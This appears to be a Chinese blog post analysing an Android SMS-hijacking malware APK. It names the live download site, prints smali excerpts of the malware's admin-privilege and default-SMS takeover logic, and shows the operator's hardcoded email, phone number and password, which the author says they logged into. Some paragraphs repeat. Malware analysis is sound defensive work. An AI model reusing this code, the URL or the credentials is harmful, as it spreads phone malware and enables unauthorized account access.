对于恶意软件不进行打码处理了,网址是 http://hpwxn.com/ 浏览之后可以下载两个 apk ,不过从文件大小来看应该是一个文件只不过进行了改名。
一般这种恶意软件既不会加壳也不会做复杂的混淆处理,分析起来很简单。直接反编译看 AndroidManifest.xml,找到如下一行。
<activity android:label="@string/app_name" android:name="acce3ft.aevbbb.MainActivity">
可以看到程序的 MainActivity, 直接看 acce3ft/aevbbb/MainActivity.smali 文件。
OnCreate
.method protected onCreate(Landroid/os/Bundle;)V .locals 4 const/4 v3, 0x1 invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V invoke-super {p0, v3}, Landroid/app/Activity;->requestWindowFeature(I)Z const/high16 v0, 0x7f030000 invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->setContentView(I)V invoke-static {}, Lacce3ft/aevbbb/util/MyApplication;->b()Landroid/content/Context; move-result-object v0 invoke-static {}, Lacce3ft/aevbbb/util/c;->a()Z move-result v1 if-nez v1, :cond_0 invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->a(Landroid/content/Context;)V invoke-virtual {p0}, Lacce3ft/aevbbb/MainActivity;->finish()V :cond_0 new-instance v1, Landroid/content/ComponentName; const-class v2, Lacce3ft/aevbbb/NetstateReceiver; invoke-direct {v1, v0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; move-result-object v0 const/4 v2, 0x2 invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V invoke-static {}, Lacce3ft/aevbbb/util/c;->d()V return-void .end method
进行了一系列的初始化操作,主要就是查看当前手机是否符合恶意软件的运行环境(权限、组件的开启情况等),需要注意的是在最后调用了 Lacce3ft/aevbbb/util/c;->d() 跟一下这个函数,该片段主要的代码结构如下
const-string v1, "CONTROL_NUMBER" sget-object v2, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String; invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v1 sput-object v1, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;即将 Lacce3ft/aevbbb/util/a; 类的各个参数进行重新赋值,本片段中是给 g 参数进行复制,因为重复地对该类进行赋值和读取操作,所以推测该类作用为储存恶意软件运行参数,查看该类的 smali 文件。
.method static constructor <clinit>()V .locals 1 const/4 v0, 0x0 sput v0, Lacce3ft/aevbbb/util/a;->a:I const-string v0, "sss" sput-object v0, Lacce3ft/aevbbb/util/a;->b:Ljava/lang/String; const-string v0, "15274907736@189.cn" sput-object v0, Lacce3ft/aevbbb/util/a;->c:Ljava/lang/String; const-string v0, "aaaa123123" sput-object v0, Lacce3ft/aevbbb/util/a;->d:Ljava/lang/String; const-string v0, "15274907736@189.cn" sput-object v0, Lacce3ft/aevbbb/util/a;->e:Ljava/lang/String; const-string v0, "15274907736" sput-object v0, Lacce3ft/aevbbb/util/a;->f:Ljava/lang/String; const-string v0, "15274907736"
确实如之前猜测一样,是参数类,邮箱账号和密码如上所示,登陆一下看看。
OnStart
主要进行了两个操作,如果可以获取管理员权限(ROOT)即进行添加管理员操作(状态码:1),不行的话就尝试修改默认 SMS 使用的 package 为恶意软件的 package(状态码:0),执行完毕之后带着状态码进入 Lacce3ft/aevbbb/MainActivity;->startActivityForResult() 函数。
而与 startActivityForResult() 对应的, onActivityResult() 中设置了各个状态码对应的操作。几个比较明显的代码段如下。
后续行为不做分析了,基本上千篇一律,删除并举报了邮箱。不过值得一提的是,在 360 显危镜和腾讯哈勃的 app 扫描里,该软件并没有被确定是恶意软件。
*文中分析的 apk 文件可以在 AndroidRevStudy 找到
而与 startActivityForResult() 对应的, onActivityResult() 中设置了各个状态码对应的操作。几个比较明显的代码段如下。
const-string v0, "device_policy" # 检查当前是否为管理权限 invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/app/admin/DevicePolicyManager; new-instance v1, Landroid/content/ComponentName; const-class v2, Lacce3ft/aevbbb/MyAdmin; invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z move-result v0 --- const-string v1, "isAdminActive" # 设置当前应用的管理员权限 invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor; invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z --- const-string v1, "android.provider.Telephony.SMS_DELIVER" # 设置当前应用为默认 SMS invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; iget-object v0, p0, Lacce3ft/aevbbb/MainActivity;->b:Landroid/content/Intent; invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
后续行为不做分析了,基本上千篇一律,删除并举报了邮箱。不过值得一提的是,在 360 显危镜和腾讯哈勃的 app 扫描里,该软件并没有被确定是恶意软件。
*文中分析的 apk 文件可以在 AndroidRevStudy 找到